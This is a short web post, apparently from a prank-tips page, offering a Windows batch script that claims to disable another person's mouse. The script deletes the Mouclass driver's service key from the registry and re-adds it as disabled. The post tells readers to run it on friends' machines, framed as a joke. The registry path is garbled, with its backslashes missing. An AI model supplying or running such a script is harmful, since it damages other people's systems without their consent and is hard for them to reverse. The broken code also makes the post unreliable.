Disable Mouse using Script

HI  Below an script is provided to you , by using this script you can disable ones mouse . This script can be used to any of your friends ,just for prank for doing this Just copy the code given below to notepad and save the file as.bat .

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------